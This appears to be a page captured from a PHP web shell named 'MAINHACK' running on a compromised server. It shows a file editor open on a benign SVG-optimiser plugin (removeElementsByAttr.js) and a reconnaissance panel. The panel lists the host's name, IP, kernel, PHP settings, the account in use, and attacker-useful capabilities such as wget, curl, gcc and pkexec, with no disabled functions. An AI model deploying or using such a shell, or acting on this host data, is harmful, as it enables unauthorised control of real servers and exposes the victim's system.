[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: removeElementsByAttr.js
'use strict'; const { detachNodeFromParent } = require('../lib/xast.js'); exports.name = 'removeElementsByAttr'; exports.type = 'visitor'; exports.active = false; exports.description = 'removes arbitrary elements by ID or className (disabled by default)'; /** * Remove arbitrary SVG elements by ID or className. * * @example id * > single: remove element with ID of `elementID` * --- * removeElementsByAttr: * id: 'elementID' * * > list: remove multiple elements by ID * --- * removeElementsByAttr: * id: * - 'elementID' * - 'anotherID' * * @example class * > single: remove all elements with class of `elementClass` * --- * removeElementsByAttr: * class: 'elementClass' * * > list: remove all elements with class of `elementClass` or `anotherClass` * --- * removeElementsByAttr: * class: * - 'elementClass' * - 'anotherClass' * * @author Eli Dupuis (@elidupuis) * * @type {import('../lib/types').Plugin<{ * id?: string | Array<string>, * class?: string | Array<string> * }>} */ exports.fn = (root, params) => { const ids = params.id == null ? [] : Array.isArray(params.id) ? params.id : [params.id]; const classes = params.class == null ? [] : Array.isArray(params.class) ? params.class : [params.class]; return { element: { enter: (node, parentNode) => { // remove element if it's `id` matches configured `id` params if (node.attributes.id != null && ids.length !== 0) { if (ids.includes(node.attributes.id)) { detachNodeFromParent(node, parentNode); } } // remove element if it's `class` contains any of the configured `class` params if (node.attributes.class && classes.length !== 0) { const classList = node.attributes.class.split(' '); for (const item of classes) { if (classList.includes(item)) { detachNodeFromParent(node, parentNode); break; } } } }, }, }; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002